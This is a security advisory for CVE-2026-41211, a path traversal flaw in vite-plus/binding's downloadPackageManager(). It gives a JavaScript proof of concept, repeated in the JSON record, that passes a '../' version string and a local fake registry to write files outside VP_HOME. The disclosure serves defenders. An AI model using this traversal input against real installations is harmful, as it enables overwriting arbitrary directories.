GHSA-33R3-4WHC-44C2
Vulnerability from github – Published: 2026-04-16 01:02 – Updated: 2026-05-06 13:57
VLAI
Summary
Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME
Details
Summary
downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VP_HOME/package_manager/<pm>/ cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.
Details
The public vite-plus/binding export downloadPackageManager() forwards options.version directly into the Rust package-manager download flow without validating that it is a normal semver version.
That value is used as a path component when building the install location under VP_HOME. After the package is downloaded and extracted, Vite+:
- computes the final target directory from the raw
versionstring, - removes any pre-existing directory at that target,
- renames the extracted package into that location, and
- writes executable shim files there.
Because the CLI validates versions via semver::Version::parse() before calling this code, the protection that exists for normal vp create, vp migrate, and vp env flows does not apply to direct callers of the binding. A programmatic caller of vite-plus/binding can pass traversal strings such as ../../../escaped and break out of VP_HOME.
PoC
import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";
const tgz = Buffer.from(
"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
"base64",
);
const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");
process.env.VP_HOME = vpHome;
const server = http.createServer((req, res) => {
res.writeHead(200, { "content-type": "application/octet-stream" });
res.end(tgz);
});
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;
const result = await downloadPackageManager({
name: "pnpm",
version,
});
server.close();
console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));
// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created
Impact
A caller that can influence downloadPackageManager() input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside VP_HOME. When combined with the supported custom-registry override (npm_config_registry), this becomes attacker-controlled file write outside the intended install root.
Mitigating factors
- Normal CLI usage is not affected. All built-in CLI paths (
vp create,vp migrate,vp env) validate the version string viasemver::Version::parse()before it reachesdownloadPackageManager(). - The vulnerability is only reachable by programmatic callers that import
vite-plus/bindingdirectly and pass an untrusted version string. - No known downstream consumers pass untrusted input to this function.
- Exploitation requires the attacker to already be executing code in the same Node.js process.
Severity
10.0 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.16"
},
"package": {
"ecosystem": "npm",
"name": "vite-plus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41211"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T01:02:48Z",
"nvd_published_at": "2026-04-23T02:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/\u003cpm\u003e/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.\n\n### Details\n\nThe public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version.\n\nThat value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+:\n\n1. computes the final target directory from the raw `version` string,\n2. removes any pre-existing directory at that target,\n3. renames the extracted package into that location, and\n4. writes executable shim files there.\n\nBecause the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`.\n\n### PoC\n\n```js\nimport fs from \"node:fs\";\nimport http from \"node:http\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { downloadPackageManager } from \"vite-plus/binding\";\n\nconst tgz = Buffer.from(\n \"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=\",\n \"base64\",\n);\n\nconst vpHome = fs.mkdtempSync(path.join(os.tmpdir(), \"vp-home-\"));\nconst version = \"../../../vite-plus-escape\";\nconst escapedRoot = path.resolve(vpHome, \"package_manager\", \"pnpm\", version);\nconst escapedInstallDir = path.join(escapedRoot, \"pnpm\");\n\nprocess.env.VP_HOME = vpHome;\n\nconst server = http.createServer((req, res) =\u003e {\n res.writeHead(200, { \"content-type\": \"application/octet-stream\" });\n res.end(tgz);\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\nconst { port } = server.address();\nprocess.env.npm_config_registry = `http://127.0.0.1:${port}`;\n\nconst result = await downloadPackageManager({\n name: \"pnpm\",\n version,\n});\n\nserver.close();\n\nconsole.log(\"VP_HOME =\", vpHome);\nconsole.log(\"installDir =\", result.installDir);\nconsole.log(\"escaped =\", escapedInstallDir);\nconsole.log(\"shim exists =\", fs.existsSync(path.join(escapedInstallDir, \"bin\", \"pnpm\")));\n\n// installDir is outside VP_HOME, and \u003cescaped\u003e/pnpm/bin/pnpm is created\n```\n\n### Impact\n\nA caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root.\n\n### Mitigating factors\n\n- **Normal CLI usage is not affected.** All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`.\n- The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string.\n- No known downstream consumers pass untrusted input to this function.\n- Exploitation requires the attacker to already be executing code in the same Node.js process.",
"id": "GHSA-33r3-4whc-44c2",
"modified": "2026-05-06T13:57:45Z",
"published": "2026-04-16T01:02:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/voidzero-dev/vite-plus/security/advisories/GHSA-33r3-4whc-44c2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41211"
},
{
"type": "PACKAGE",
"url": "https://github.com/voidzero-dev/vite-plus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": " Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME"
}
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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
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